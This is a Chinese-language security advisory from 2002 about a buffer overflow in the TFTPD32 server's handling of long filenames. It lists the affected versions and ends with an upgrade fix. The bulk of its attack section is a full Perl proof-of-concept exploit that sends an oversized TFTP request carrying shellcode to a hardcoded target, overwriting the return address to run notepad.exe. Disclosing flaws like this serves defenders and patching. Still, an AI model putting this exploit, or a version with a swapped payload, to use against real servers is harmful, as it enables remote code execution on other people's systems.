积极预防 及时发现
快速响应 力保恢复
TFTPD32 超长字节文件名缓冲溢出缺陷 (MS,补丁)
发布时间:2002-11-20 信息来源:管理员

涉及程序: TFTP32 2.21 及以前版本 描述: TFTPD32 超长字节文件名缓冲溢出缺陷 详细: TFTPD32 是 WINDOWS9X/NT/XP 上的免费 TFTP 服务程序,支持 TFTPv2 协议的执行(TFTPv2 协议在RFC 1350中有详细说明)。 TFTPD32 对用户递交的文件名缺乏正确的边界检查,远程攻击者可利用此缺陷进行缓冲溢出攻击,精心构建并提交的恶意代码允许远程攻击者在受害者系统上执行任意指令。 受影响系统: *TFTP32 2.21 及以前版本 不受影响系统: *TFTP32 2.50.2 攻击方法: #!/usr/bin/perl #TFTP Server remote Buffer Overflow use IO::Socket; $host = \"192.168.1.53\"; $port = \"69\"; $data = \"A\"; #$buf .= \"\\x00\\x02\"; # Send ---- Choose one $buf .= \"\\x00\\x01\"; # Recieve $buf .= \"A\"; $num = \"116\"; $buf .= $data x $num; $buf .= \".\"; $num = \"140\"; # EIP section $buf .= $data x $num; $address = \"\\xFF\\xFF\\xFF\\xFF\"; $buf .= $address; $egg = \"\\xEB\\x27\\x8B\\x34\\x24\\x33\\xC9\\x33\\xD2\\xB2\"; $egg .= \"\\x0B\\x03\\xF2\\x88\\x0E\\x2B\\xF2\\xB8\\xAF\\xA7\"; $egg .= \"\\xE6\\x77\\xB1\\x05\\xB2\\x04\\x2B\\xE2\\x89\\x0C\"; $egg .= \"\\x24\\x2B\\xE2\\x89\\x34\\x24\\xFF\\xD0\\x90\\xEB\"; $egg .= \"\\xFD\\xE8\\xD4\\xFF\\xFF\\xFF\"; $egg .= \"notepad.exe\"; $egg .= \"\\x90\\x90\\x90\\x90\\x90\\x90\"; $buf .= $egg; $buf .= \"\\x00binary\\x00\"; $socket = IO::Socket::INET->new(Proto => \"udp\") or die \"Socket error: $@\\n\"; $ipaddr = inet_aton($host) || $host; $portaddr = sockaddr_in($port, $ipaddr); send($socket, $buf, 0, $portaddr) == length($buf) or die \"Can\`t send: $!\\n\"; print \"Now, \`$host\` should open up a notepad\\n\"; 解决方案: 升级到不受影响版本 TFTP32 2.50.2